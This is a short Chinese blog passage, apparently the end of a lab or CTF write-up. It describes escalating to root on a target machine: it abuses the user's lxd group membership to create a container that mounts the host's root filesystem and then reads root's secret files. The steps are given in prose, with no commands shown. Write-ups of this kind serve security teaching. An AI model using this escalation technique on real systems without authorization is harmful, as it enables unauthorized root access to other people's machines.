这里看到该用户属于lxd用户组,这意味着我们可以使用lxd,lxd是用来管理LXC容器的API。我们可以考虑利用最简单的容器挂载漏洞,把主机的root文件夹挂载到我们的容器上,并且让我们在容器里可以访问该文件夹,从而获得root里的机密文件。
之前的图片中我们已经查看了本机有的lxc容器镜像文件信息,然后我们使用该镜像文件生成自己的容器“hack”。然后在该容器上添加一个device “hacker”。接着start该容器。最后把目标机器环境直接挂载到了本地目录/mnt/root/ 所以我们在此目录下可以直接获得目标机器的root文件夹,完成最后的练习:


Author: 张庆山
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source 张庆山 !
评论
  TOC